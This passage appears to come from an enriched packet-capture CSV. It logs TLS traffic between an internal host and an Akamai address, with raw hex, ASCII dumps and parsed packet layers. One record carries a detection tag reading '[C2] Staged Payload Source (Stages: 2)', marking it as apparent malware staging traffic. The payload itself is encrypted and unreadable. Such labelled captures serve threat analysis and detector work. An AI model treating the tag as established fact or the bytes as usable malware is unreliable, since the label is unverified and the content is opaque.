\"\"1703031f9c490b3b35e8f5091f3339bae17fd6d6d2b176ad2cdefbbbf8daedaff58cdb5135782381c351dc55db83b1ea909583d44c0d4b5a03ddcf09b57f29458d677e544180ca5988f4cd29723ea7ccaa5e3f62420a29c442d7ea3a829b9ead95858328a15e48370f8f41fdb398e8d3636421c9cb5f1598c3e0035956c566995250e6a887806c1e48bf58895523e5095114a0678842ddcc260b15889207195dfaef990d080536d44712ff5b716a0454752b82253e1b19da7ecc54ed7e72faa60885c741dead0dec60fa55d61a615cffc92e007fa5a5023703beb041efa5bc882357565fde4c4298fff55821d71ad31dd0af5baa9de5a0f7e1bf05399b3717a4357759a19ef2476237982dec23456ff175d329913753412d8125a599ec9053b1a2cce7f9d6e6d742843eb85f223f8f0031484af49b6bf2777a49440fd22dd472b16efb5416d1e8e2dbfbff91555b21ddbca21cca000b0ed35ac1fde2f1fc8ec3ecb8a09f7cd4701421b39f9e4831f0d2c12f9ca6863c51186531fb89fcb1bcacc779ae47ea2e6961635e046d6e05703d27d8c4fd73620ffb7ba5b74984d2e62b9be84b5727aeb8e98a457c855834240b49fa6e1bac9aa16f849afec34293e895f260190e1c6ad88e338a6ee78884700a74fd50695ad374d87ac3a9289cae858d618f69c7699b864ce85f6daef0b46a1e5f5008b95e36c9897570efef3b38d8d7b4cf1fce0ffb7035eb8a88d0081e7141fef4eaa50d1a4f5be4389e195ca49e2dd840b1a9256bbad8a3a72eedb852a0f4714ca492f0b2a14831eabf49f0dcb0eef10e7455cf2a643be95a7621fc2606456ea3e3effaa28a14d287e9f14d222d6f92adf748d1e45424e60c4a106a7300e4fc1726164d494a768f130d0e096b248c6b6a37777309ad6fb3c486f6330aebe36b073b982c26c2d19bca2abf016c0da52df3d638763449fcecf10477e29706daf82cd2557352637404ee3b7f95390dae7647d791966905f545f8e00063aa9deacca492160626d05fc9a75ec39df0450dd42999ad128252d5ceffb7430f82a760fea746ac15e2e827b26c07b0b6aca68d0785386ac8855138df60e1bc3b6ab17135caea445651b0087d9e2325a2b075786ab0cd44b6812f96884362600fbaf64da3d4c98cb87a0c1bf858a2779fde773e0dedad960ddb0cfe4e59bf952c7e5525da05d6dc1464c62baabecb1dacd8e2e959eabc37d364ecf946ec07d9e0c24b0c2cffdaf0f6f2de08b749a1734764bf67c5962603601566a7fbda00c2d6f5c7882f2caf610b5fa26ce91663d029f90064dbe9c3d4f171298546d81b200ee52790008d0f6cd7fb8ca70827cd274c039811e5f283aa4ca3481f4da4a00daf7c5cf524ddb7d0e88defd725adfd66800f736459ee9c382b1c8ffdbb1d8654f9739f42b46878f25b8b6adee10ccd9d8bd047d340896188f005d0d9819237066c3258acf9d9729ef52cc56cd2879e8040711226dcdfd239c316c1c2dfba838d314547d110cbcf6d97b9e62080a2d0042a4be706cf4803d7ab7f6d9857ffdd6c92ddc710ec7d0a26f252d576a0828aea1d9b1edc7f96fe56109a02327b50ee1474aa1d985b2c97227df5c3314feeb718c5c5c5f21e35556338e713715e6b587083c2b8edcd4686b7b996eeb2238809f2f2ccb4051dc0a134647dbdd7feb46ab806f78804df397fa891257b25b47e99127c6352fa6589649f36aa9a4345ebcd2bf9b005f2b7054d90c52d4fb2b0f3b796a4598dae115cf17c5deb6151ead8edffba9e1e5814cc07124dd1df6c5ae5cfb09cbe4836f30852968443b49e06e95d09dce9c3164946581a7ce515ae7884f1a2eee0874bef1ca429ab97a300ae7adb9a1015e1eb00fe3d81dd57adeddfaf30d10ce81cbc38bae9b2add83eabd7e7c591bd3522bfd9e4ff92a182cf8b6172afbd2d15098e3aac08c7bccfbc05a63a3ed200b1800ae6a5b62594ecd79607883b3172afce62eb6212d5dc12067c165961058bc6103bceda1aff7a8b813904d37be53f249c864366fe9d82deb37f5bf6ad96273944fac7bbe8fbfd15c9105712dadbbd17cb071964d6fab6671cc67c86b18ab837dfcafb0f5f2087e44e1c3b92b8bd9c7ee8d467b359157b358ef676e9b4d7aebeec08c15c633c109ecfe5eb13aa163bc959e3404100a9f32633900ee98830d0590b57fbc37bb6e36eabddfd25b8687483639ced13b87e7f9b3e0c28a956e044aeed775d6e45b2fbb655ae7d368025f9b295dc5aa6ea2c52369e8e8f69d4776a71ee62e11330e991219f7cf504c7ea548efe351258ec446096c37df0f3ce5f2b8a8406384f04c2de23dc971d2d6940af4a89c188d41013b84472c28871a3f7d7320937cc25cdf3465aa325ca31daea9be3817afa8187f18e6c53fc4b1b54545414412c0f50098d74dd16cdc083c13ebcb27464b2c1e5558a9720d38f6a2bed27e594410d47be6a640a01ebb58730eb243f362fd332e7e46af63a82ff71fa064d0b80dbcecc87cdb73109e0747fb375724b19a40f1f61058c6ce9358ce6e7f144d26b2a7122be20fdc4a0f8f389897f16598939f4284d91d72f9f2c6944452753e4a448c56b69ac1376e02d5380a0441f971c976d12c7f1f79474fdd5e31a56d3a6bfa60ee43d20e41bfcbdd2a48c55286c0b7ed3f5ee6e373b16161c49e30a7e91e72a6f32a17373e8b1f361d7d5440a033f22811a0960df4febf5abaf58634c111d9f86f9ab7f41451d0d6662ab643327c81bbe4a1b6adccfcc5e5140128d604daebc5eeb959947825232c3824480b0b96884a0a1e5571d5bff5dc1819baa751dfa93740248ed7623ce9e1eb7c59f21e65bdcd59213629da83ac6080a8b27fbc3cb828adcd47e23783b080710e36ce754d508de93bd48913adf12b0f97b3a7c87034f90592c048fde2351290c910e4b1d6114747d377c41b283b17237572ad24d3e21b466241d34cedf9c3d2b64abe5b88f749cc6362e3f897c434554f8d619ab9c1c5387c48ea087ec5e9528e676e9be3997a638c69a72575b259d8c8166705023a4b9020de11f90a0bed3d483d8a336593ec808f676cb7da8d24606cf5f5c0c6e36e454351ec69d9fa7a2ffb0bdd1ccdb5e578f29010b77bfb81eb33e104bf3762799e60506623fabf0aa2130045f09d7b399e21c674970fa68476854fba8d6e39bef11c360225a8c1726027ffe081401de275dfc6d4478f5396c66670b9789664d5f0709ff2f3e26585e57f440f38298d9f9c086c6fdf6909179635003a03babbf00b262467151a3fe0e906b0026f1362dffb762e5d432acbf6f8b7b68b1458e2450899454db3da9268048b0ce2413a40339e41f75bbc123774f78ec810c99ad5bb512488c35a57c653237ddc333973c9465b6f6fd80d66fff51415733b5e8a3bf8e1d0d093c9987ccd3ef8e038a27a227d2b95f9e45b848ae\"\"}}]\"\n2026-06-28 14:01:42.789831,15,TCP 10.152.152.11:63946 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63946,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=1308797981 Ack=553018416,bc24112907bbbc2411360d0c0800450000282fb540008006d3130a98980bb81e9d45f9ca01bb4e02ac1d20f66430501020141ced0000,\".$.)...$.6\n...E..(/.@.....\n......E....N... .d0P. .....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 12213, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 54035, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63946, \"\"dport\"\": 443, \"\"seq\"\": 1308797981, \"\"ack\"\": 553018416, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 7405, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:42.819337,16,TCP 184.30.157.69:443 -> 10.152.152.11:63946,184.30.157.69,10.152.152.11,443,63946,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=553018416 Ack=1308797981,bc2411360d0cbc24112907bb080045000d80a0784000400694f8b81e9d450a98980b01bbf9ca20f664304e02ac1d5018003f057a000058e75ec1e49c6b7896f47fa0eef61c78bd41eb8301b242943dab03340adc0c8d50a2f279fb2c20188f21c783dc120b90d86a0ed144138e0fedea33a530c434b79cadec8061564661ca87f0142c5ffd24bfcb7666d9103f54ddcdda20645c141d7ab69532d2090f373c788cfa2443e92c6e6960e05c154f4c617e652a3e246bec0560fb6de99e16f3320f947b41c5d3bca8e7315ba38bf7f68369c57eab24e817529b71dd79a016bb548486ebb058be1d4c96cca5514a6042d4e5bf4bc1cd90e2f9d532665039dda766226334883aec1e08b0ec522b5c3f99bb7f099cbb3026aff9cfb7035ed57051686d7d7f8d2b1a466e87956cf54c4224f2ba98f24ed59f637e77e61543afa036fcbdbb6404ae73255591785f78f070dd406b6af69ceb1a8aad8b4b4abd928c580beb71ffac6d53d98699881f571c2c59644cf7a1dc9cdfbbdcc15f6ff191abaa8fdbe0be56f2c2aaa6be2c417b04716493b22f0b9868626b83915670598052fd0c2b104be50f374528d6d7d35160c6260a2a701c016b8da4d69ac171f7e748bd71e83ceb78d5df1bb26935566cb64fb7be664c436d1d1370f345b3cdbf28e417011799a3ec4c824fe2169e4cf4f974ef06c98cfcbf622010cc862147f76511c7f43fc57648a16bb947e736796b6dd6a5f2df239c7b41025e31b9c7a5aee1de61d1864d185182820b37e3de7447f416e6d27b4bfb0baed21f02c395045e40840e046d4cc0b792b45af6ca12057acb54a96e18e9c8cc607610ce1119b5503e4a4cf16867637f5b648263baf76cb6a7fc42c4a57f8ce81887b8c5ae18f779a3496ee6f796f2c4ebcefa11f1d37e036dcf9b8a8a6a30f6d9193b29224abdf68e5a4083a8efda3d66613ac0539f8d4ee8a6869cd058433f576520846fb8980c426cc750da82d548054bdb6c60f8845af9d8685088b1c73e6f44cbb3e6f271f7fba5ee1aa559f960c57a20d422c0c0bf56ccc32eb905e1d44d3f72d90d810706b6c55953461df583548a672d8fccc879f6034fc1a2dc273f983e7f6ff7f286bd68735a473584a42eb93e4c53c2773272aa05eb234fce5cd7c357683f1332a979c12c00104d050eb968150cb43a560a89549d74014402046f61656795d96808eb5b80521e8b558a79c78ab6e6f73934f8f64e403c492c25870ca09b1bb8531c146df68caef450184412d2b28d895886718dfbc4450ed2d66c75e4de0764f3af18bcbd659d5998924251e3f6fc07c8492bb0d3ac98509e110fbf239af402ddd3c14f38d5bc8f6f3461d272196f1a364990c269b44480e25cf2d0f5713b9708dc60f9c7c3d677eaabfde80fafa7492720b1bfc902522cfa6c44c314dccb570f1a033398f625b168a5edd8872ead558839e39e70c0163caef593acce7b789ab46cf9942f617502ca0c5b8367250e8703995304744b52543131997e9638650351c28ce0a38de66ee1695fc4c11935d934f831c29d37487a5f4ec3f94c378030ebdd903af583938c2815208c7649c80a2e006c828cacd619978ab01597fddeacbb984f9d89e1d09a8f0bb5743acf5ddbdc3c1e21129cd750f4c30896ba26759edc0be5d2dce2a1feb96ed52bf76f8d8a65e987da8deeeb35c538fc148195eb05793d85313f12d4796e34af10227398e5588cfa67644ffbed1e0568f3007540a8ebe9fdbbf8b042fa53551056b51c2c7968704690e4bcc2d4f0db801642e3748b273949660cc2bea5ecd685449686eabe6adfe01329041887757cc0a46f8f5c514bafe67140bdb3b56321f8ae878d7bd5b86465a93668e7e61fca615e3fd6cc1fa6f54647571b90cf000e3125872eb863faab0d14643be34d001ea0c7a3aaf02d5b49016fb6bec6de430e8a64c5c24bbe96a0195a7d77fbcd23b3f21ae96e647a7227ac27c48cca199e6e34ddd7891f9e35244c090740968ef633560b40288d1cde0c50f9d6e5cbb089faa9b60e169da3b7f387ae64974854c1390eaf3a1ecf29dc28a4683afd4468195f28ab1d22eddb4ee4ba52b36b87bd8d9340d4a8da8774929f304fefabfb04180eb3d97531fdb6cf50d4c9b79d99313eef4ee0460eaa10e3a84f0a83fb5598010e44511dce4744340cdff612815909460b9d8dc9907a113a38199c0b354e63331d79e6c1068ef97b912a0198a46a5b16b5c359a21617fb261051880f0a6a4535d5c3966a2cef6c891dc11784c4baa64c16ae8ace43910558aa23b68d25a0e79b4fa3388ad6af00cd3faed63c909faf97cd5ec679e6195ebea4e4332f61b1e217003b9858b871e9637dc216f81de1eaafd6ddd479fcdb6b9896d550536b5076536ca6017b7c178eeeaac5281ab3ff411f067f3b0c68b8fed45fd8a67a4669dcbd5d5e31afc432d1417c6a61162f4ae3112019d0cfbc8bade2556d62be17f83907c955004fbe498f94441d54755105f449f8d59022d52c57d6f6f0315c0c03e012382ee15b837c1269c3b9a31a66addad2f2f50e22615f1af6bb3c0634956b13e85db7360f039219b913dbae261c3ff47c366d2d0b33af8c2566c145f45a728253d2fcfdcfb8d62bfddb7556d5c4659ed175b1de6d25af9790b80450070d4dd139ed8618b53087399f7732f867b786bf671fb618645678628ee408910658077203de7f2590fa52942c005df74a894a90140da18cdbec6f68d5f744a4021336dc137c579943b18b60a26f5e829a2c29c3a435c8bf22fba79d7a50a926b6c26353e2dc9572dd53df22c81f92094d908c738b43f921b7a195456eb248c32f1203406a21f9435661137cc568dd1d21c52980be1efebfc9ceb42482a0743e7dbbf835a84b4e7fc190ead9fdf5aafc77b2b616b232fdbc86d1c1a09f94c5d1a22e4e32e3a76360d707a9007c1ad4ce8ec192ee84fc435f926bd937f67bd484158299d86a6c5ae9b69ef20133c9e63571ffd84298e37bef45ec2e4d690bc422a03a8bc67a17a998a0213eb9403fffe6d97f9d559261b603e57702405e094c90f3f56e5fee6ca216267d6d0310db041931284bed419c10355f28ecadbc61a7a50aa0b069f4e8d7ecf6c6beefd745905b5e68f92b6ad2ed3a21b5924735a5a7cec78495cbf3da6f0cb5c29b5f484828e5771f4890bd29ec63b88d6161b8e0be03689e2d548d0ab6a11702d2f11fcc85e722ea5f6793cce5dbf916b570f53bd1fa7b6c2137221899fdf79a3d880053ea479f7c9acf27a52a697ce662e57e8bfef35799ca1a916afb8c341c11d480c94f1654ced3de7ea47eb281637f96254988df1e049d906996a90a0d80eccfd6c2717bf04f29aa4fa337815cdde0a54373fc85881a72c902d24493d2985aec56e3a4ca0d5f02d26c26f5139fa1281626e67a4087f9929ffc7d75451895cb7af0076014d4fd8d606e4f5da2f1fd674a379e2aca276f57003781b8ac422e060feffbff48c302adb5232b512387c9247fb4fbe3e1e005a844eb92589b1f7ce17e386de27b7119746b19cf4a48cc50f875861bd9001da4e4c8058fd9a43a0f4cfd509e5c54b8e42dea9316e22a316c3390ef09848d816b1b58e32979ec08d4d6ef6ee34105edc9f2cf6e8410b4b8335c044421de28616826645adc0220aad01d0db5256555e0f35de3954108f0445c62f8cab4b6a4dc679b5285fc722494c427d767c818da49f048cf487bd70c7863a226c374c8680bcf9bdff75cdc53bc939ecc2e326f208c6c83c6407817e982610e463f74e5313c681dbac0589be21fcd217dcec6d046176661fab1ad209f7d8b83968b24606cd342ccadc5bfea4ae3a365b86d4ce9dfadc21f2826463d16dedcb4fc52e1a6c3c35be4af46d18451124fb4c413f71ce12f0ffd767a48b88a54a4a0ffb5ec135fa9d25823caa94bb4618d90fa3548465bf947424048a17721646a7360c11edac93b697af3285ec89701e9a58d3f451dae894ba2c866ccee09bc887416e7c483a8a9c8f095fe3c4f82743d9383ded73b47c976075d1d0f3e4ffb207d886d88779f98e932d494505a128e0e85768391cd59f8efa5ab11c55f852547434ce2d4f91d52cdc5770cf8acaadc13bd1aef3f859a6208290915f27a525e60bfc3cf8527e9c6cc63e66ab1f06e278ee4d6a2184852e6b4bec40efe27c575be976ae76bdc8c651c8fa35e6e72326ebec405c0ac379b413efd35644416a28653803e5c995a90ceb0310b5fe8f2cdd847b844c9f763ccc27f4268abe777e1c8cf9b8d3dd29aa3361545882f14a0b4e566173b33646a4e3e3f1f2f4acb329e25506c0460a061c30e2a0d215290064626010378c58c84db6f34acd9dee7c0f632179218a72be50ceb8c41fca74f60ce800f66215ee48888aa4c9e7998c42c9a84874eb2d085996a80a88da71cac93ee4551d3d63ceb472dc7a751ebc19895260e086fd0d87723d9dffbdb4846922ca3998ba1d4efe9994d92cd3d9d6051e4dc59171226c5e47db1db7008aa1d9ecbaccf726e5b33888d35225818f733bc80697a363de40b00a43734d988a7ff492efd25861e43ebf1fd4889262973642de66024ae8b04d0faebab9703f67c0583f23d9ccec0fb7128c2c45931639149da22aa1e15201e7d67521d08fbeda43a5ac3c2cbc5e74b1e681971d21eabbd2bab8bf8fe16d3b321237690af97eeed3e9b08fd364d774680aff0e7ab3678697bdebc3345b3a4c8a499b47c46a5bfbd7faab5e959ab714bc48ab731d9e5016344fda02aa3f52a5bcedaa8e474af69aad8a2ae39256471c00d5e72d55eeab34f254782728602ff2dd9ce256ed0e0bbeac7b7584833455196f41a3707c6b78a0f308be055b109948e8d1067e8879e62a5d1f51db826dfa2d3fb94083f3daa,\"X.^...kx.......x.A....B.=..4\n...P..y., ..!.......j..D.....3.0.4.....aVFa....,_.$..vf..?T... d\\..z..2.\t.7<x..$C.,ni`.\\.OLa~e*>$k..`.m....2..{A.....1[.....i.~.$..R.q.y...T....X..L...QJ`B...K......2fP9..f\"\"c4.:.....R+\\?...\t..0&.....^.pQhm}..+.Fn..l.LB$....N..c~w..C..6...d..s%U.x_x.p.@kj.......KJ...X..q..mS.....W.,YdL........_o........V.....,A{.qd../..hbk..VpY.R..+.K..7E(...Q`.&\n*p..k.....q..H.q.<.x....i5Vl.O..fLCm..p.E...(.......L.O...L..t......b ...!G.e...?.vH.k.G.6ykm....#.{A.^1......a..M.Q...7..tG....{K.........^@...mL....Z....z.T.n....`v.....P>JL.hgc.[d.c..l...B............y.In...........~.m....j0...;)\"\"J...Z@....=fa:.S..N.....XC?We .o...Bl.P...H.K.l`..Z..hP...>oD....q......Y.`.z .\"\"...V.......M?r.\n.....YSF...T.g-...y..O...'?.>.o....hsZG5....>LS.w2r...#O.\\..Wh?.2.y.,..M...h...:V\n.T.t.D..oaeg..h..[.R..U.y.....94..N@<I,%......S..m....P.D.....X.q...E...lu...d.....e.Y..BQ.....I+....P....#......O8...o4a.r.o.6I..i.D..\\...q;...`....w.......I' ....R,.lD....W...3..%.h......U.9..p..<.....{x..l../au...[.g%....S.tKRT11.~.8e.Q......n.i_...5.4.1..7Hz_N..L7.0...:....(. .vI.\n..l...............O........t:.]..<.!...P.....&u..........n.+.o..e......5.8......y=.1?..yn4..\"\"s..X..gdO....h..u@.......B.SU.V..,yhpF.........B.t.'9If.......D....j...)...u|..o.\\QK..q@...c!....{..de.6h....a^?.....FGW.....1%...c..\n.d;.M.......-[I.o....C..d..K....Z}w..#....ndzr'.'.....n4.....5$L\t.@...3V.@(....P.................d.HT.9..:..).(.h:.Dh._(..\"\"..N..R.k....@....t..0O........u1...P.....1>.N.F.....O\n..U...DQ..GD4.....Y\tF.....z.:8...5Nc3.y.....{.*...j[...Y....&.Q..\njE5...j,.l........L....C..X.#..%...O.8.....?..<.....^.y..^...3/a....;.X.q.c}..........y..k...PSkPvSl..{|.....(...A...;.h..._..zFi..]^1..2.A|ja./J.. .......Umb...9..U.O.I..D.TuQ..I...\"\".,W...1\\....8..[.|.i....f......\"\"a_...<.4.k..].6........&.?.|6m-.3..%f.E.Zr.S......+..uV..e..u..m%.....P.\nM.9....0.9.w2.g...g...dVxb.....X.r...%..R.,.].J.J..\n....oh..D...6..|W.C..`.o^..,)..5..\"\"...zP.&..cS...r.S.\"\"...\tM..s.C.!...En.H./..@j!.CVa.|.h..!.)........$..t>}..5.KN.........w....2............N2..c`....|.........C_.k.7.{......jlZ.....3..5q..B..{.E..Mi..\"\".:..z....!>.@?.....U.a...w.@^\tL...n_.l..&}m.....1(K.A..5_(...a..\n..i.........E.[^h.+j..:!..G5.........o...._HH(.w.H..).c..aa....h.-T.\n..........\"\"._g.......p.;..{l!7\"\".....=..S.G.|..'.*i|.b.~...W....j..4.....O.T...~.~..c..%I......i..\n\n.....q{.O).O.7.\\...Cs....r...D...Z.V...\n_..l&....(.&.z@.....}uE...z..`....`nO]...gJ7.*.'oW.7...B......H....#+Q#..$........D..X..|.~8m.{q.tk..JH.P.u............:.L.P.\\T..-....*1l3..\t...k.X.)y.....n.A.....n....3\\.D!.(ah&dZ.. ...\n.%eU..]..A..D\\b......g.R..r$..'.g...I.H.H{..xc.&.t.h.....\\.S.....2o .l..@x...a.F?t.1<h...X....!}...F.fa... .}....$`l.B.....J..e.mL.....(&F=.....R....[..F..Q.O....../..vzH..T......_..X#..K.a...5HF[.GB@H.w!djs`....;iz.(^......?E...K..f..\t..t..........<O.t=....;G.v.]..>O. }.m.w...2..PZ....v...Y......_.%GCL....R..w.........?..b.)\t..zR^`....'...c.j..n'.....HR......'.u..j.k..e...^nr2n.....7.A>.5dD...S.>\\.Z...1._....G.D..c...Bh..w.....=...6.E./....f.;3djN>?./J.2.%Pl.`.a..*\n!R..F&..x....o4......2....+....A..O`...f!^....L.y..,...N....j........EQ..<.G-..Q....&..o..w#....HF.,........M..=.`Q..Y..&..}..p.......rn[3..5\"\"X..3..iz6=....74....I..%..C...H.&)sd-.`$..........|...=....q(..Y1c.I.\"\"... .}gR.....:Z.....K.h.q....+.......!#v.....>...6MwF.....6xi{..3E......|F.......Y.qK...1...cD..*..*[....t.i....9%dq.\n^r.^..O%G.r...-..%n......XH3EQ...7.....0..U.\t....g...b.....&......?=.\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 3456, \"\"id\"\": 41080, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 38136, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63946, \"\"seq\"\": 553018416, \"\"ack\"\": 1308797981, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 1402, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"58e75ec1e49c6b7896f47fa0eef61c78bd41eb8301b242943dab03340adc0c8d50a2f279fb2c20188f21c783dc120b90d86a0ed144138e0fedea33a530c434b79cadec8061564661ca87f0142c5ffd24bfcb7666d9103f54ddcdda20645c141d7ab69532d2090f373c788cfa2443e92c6e6960e05c154f4c617e652a3e246bec0560fb6de99e16f3320f947b41c5d3bca8e7315ba38bf7f68369c57eab24e817529b71dd79a016bb548486ebb058be1d4c96cca5514a6042d4e5bf4bc1cd90e2f9d532665039dda766226334883aec1e08b0ec522b5c3f99bb7f099cbb3026aff9cfb7035ed57051686d7d7f8d2b1a466e87956cf54c4224f2ba98f24ed59f637e77e61543afa036fcbdbb6404ae73255591785f78f070dd406b6af69ceb1a8aad8b4b4abd928c580beb71ffac6d53d98699881f571c2c59644cf7a1dc9cdfbbdcc15f6ff191abaa8fdbe0be56f2c2aaa6be2c417b04716493b22f0b9868626b83915670598052fd0c2b104be50f374528d6d7d35160c6260a2a701c016b8da4d69ac171f7e748bd71e83ceb78d5df1bb26935566cb64fb7be664c436d1d1370f345b3cdbf28e417011799a3ec4c824fe2169e4cf4f974ef06c98cfcbf622010cc862147f76511c7f43fc57648a16bb947e736796b6dd6a5f2df239c7b41025e31b9c7a5aee1de61d1864d185182820b37e3de7447f416e6d27b4bfb0baed21f02c395045e40840e046d4cc0b792b45af6ca12057acb54a96e18e9c8cc607610ce1119b5503e4a4cf16867637f5b648263baf76cb6a7fc42c4a57f8ce81887b8c5ae18f779a3496ee6f796f2c4ebcefa11f1d37e036dcf9b8a8a6a30f6d9193b29224abdf68e5a4083a8efda3d66613ac0539f8d4ee8a6869cd058433f576520846fb8980c426cc750da82d548054bdb6c60f8845af9d8685088b1c73e6f44cbb3e6f271f7fba5ee1aa559f960c57a20d422c0c0bf56ccc32eb905e1d44d3f72d90d810706b6c55953461df583548a672d8fccc879f6034fc1a2dc273f983e7f6ff7f286bd68735a473584a42eb93e4c53c2773272aa05eb234fce5cd7c357683f1332a979c12c00104d050eb968150cb43a560a89549d74014402046f61656795d96808eb5b80521e8b558a79c78ab6e6f73934f8f64e403c492c25870ca09b1bb8531c146df68caef450184412d2b28d895886718dfbc4450ed2d66c75e4de0764f3af18bcbd659d5998924251e3f6fc07c8492bb0d3ac98509e110fbf239af402ddd3c14f38d5bc8f6f3461d272196f1a364990c269b44480e25cf2d0f5713b9708dc60f9c7c3d677eaabfde80fafa7492720b1bfc902522cfa6c44c314dccb570f1a033398f625b168a5edd8872ead558839e39e70c0163caef593acce7b789ab46cf9942f617502ca0c5b8367250e8703995304744b52543131997e9638650351c28ce0a38de66ee1695fc4c11935d934f831c29d37487a5f4ec3f94c378030ebdd903af583938c2815208c7649c80a2e006c828cacd619978ab01597fddeacbb984f9d89e1d09a8f0bb5743acf5ddbdc3c1e21129cd750f4c30896ba26759edc0be5d2dce2a1feb96ed52bf76f8d8a65e987da8deeeb35c538fc148195eb05793d85313f12d4796e34af10227398e5588cfa67644ffbed1e0568f3007540a8ebe9fdbbf8b042fa53551056b51c2c7968704690e4bcc2d4f0db801642e3748b273949660cc2bea5ecd685449686eabe6adfe01329041887757cc0a46f8f5c514bafe67140bdb3b56321f8ae878d7bd5b86465a93668e7e61fca615e3fd6cc1fa6f54647571b90cf000e3125872eb863faab0d14643be34d001ea0c7a3aaf02d5b49016fb6bec6de430e8a64c5c24bbe96a0195a7d77fbcd23b3f21ae96e647a7227ac27c48cca199e6e34ddd7891f9e35244c090740968ef633560b40288d1cde0c50f9d6e5cbb089faa9b60e169da3b7f387ae64974854c1390eaf3a1ecf29dc28a4683afd4468195f28ab1d22eddb4ee4ba52b36b87bd8d9340d4a8da8774929f304fefabfb04180eb3d97531fdb6cf50d4c9b79d99313eef4ee0460eaa10e3a84f0a83fb5598010e44511dce4744340cdff612815909460b9d8dc9907a113a38199c0b354e63331d79e6c1068ef97b912a0198a46a5b16b5c359a21617fb261051880f0a6a4535d5c3966a2cef6c891dc11784c4baa64c16ae8ace43910558aa23b68d25a0e79b4fa3388ad6af00cd3faed63c909faf97cd5ec679e6195ebea4e4332f61b1e217003b9858b871e9637dc216f81de1eaafd6ddd479fcdb6b9896d550536b5076536ca6017b7c178eeeaac5281ab3ff411f067f3b0c68b8fed45fd8a67a4669dcbd5d5e31afc432d1417c6a61162f4ae3112019d0cfbc8bade2556d62be17f83907c955004fbe498f94441d54755105f449f8d59022d52c57d6f6f0315c0c03e012382ee15b837c1269c3b9a31a66addad2f2f50e22615f1af6bb3c0634956b13e85db7360f039219b913dbae261c3ff47c366d2d0b33af8c2566c145f45a728253d2fcfdcfb8d62bfddb7556d5c4659ed175b1de6d25af9790b80450070d4dd139ed8618b53087399f7732f867b786bf671fb618645678628ee408910658077203de7f2590fa52942c005df74a894a90140da18cdbec6f68d5f744a4021336dc137c579943b18b60a26f5e829a2c29c3a435c8bf22fba79d7a50a926b6c26353e2dc9572dd53df22c81f92094d908c738b43f921b7a195456eb248c32f1203406a21f9435661137cc568dd1d21c52980be1efebfc9ceb42482a0743e7dbbf835a84b4e7fc190ead9fdf5aafc77b2b616b232fdbc86d1c1a09f94c5d1a22e4e32e3a76360d707a9007c1ad4ce8ec192ee84fc435f926bd937f67bd484158299d86a6c5ae9b69ef20133c9e63571ffd84298e37bef45ec2e4d690bc422a03a8bc67a17a998a0213eb9403fffe6d97f9d559261b603e57702405e094c90f3f56e5fee6ca216267d6d0310db041931284bed419c10355f28ecadbc61a7a50aa0b069f4e8d7ecf6c6beefd745905b5e68f92b6ad2ed3a21b5924735a5a7cec78495cbf3da6f0cb5c29b5f484828e5771f4890bd29ec63b88d6161b8e0be03689e2d548d0ab6a11702d2f11fcc85e722ea5f6793cce5dbf916b570f53bd1fa7b6c2137221899fdf79a3d880053ea479f7c9acf27a52a697ce662e57e8bfef35799ca1a916afb8c341c11d480c94f1654ced3de7ea47eb281637f96254988df1e049d906996a90a0d80eccfd6c2717bf04f29aa4fa337815cdde0a54373fc85881a72c902d24493d2985aec56e3a4ca0d5f02d26c26f5139fa1281626e67a4087f9929ffc7d75451895cb7af0076014d4fd8d606e4f5da2f1fd674a379e2aca276f57003781b8ac422e060feffbff48c302adb5232b512387c9247fb4fbe3e1e005a844eb92589b1f7ce17e386de27b7119746b19cf4a48cc50f875861bd9001da4e4c8058fd9a43a0f4cfd509e5c54b8e42dea9316e22a316c3390ef09848d816b1b58e32979ec08d4d6ef6ee34105edc9f2cf6e8410b4b8335c044421de28616826645adc0220aad01d0db5256555e0f35de3954108f0445c62f8cab4b6a4dc679b5285fc722494c427d767c818da49f048cf487bd70c7863a226c374c8680bcf9bdff75cdc53bc939ecc2e326f208c6c83c6407817e982610e463f74e5313c681dbac0589be21fcd217dcec6d046176661fab1ad209f7d8b83968b24606cd342ccadc5bfe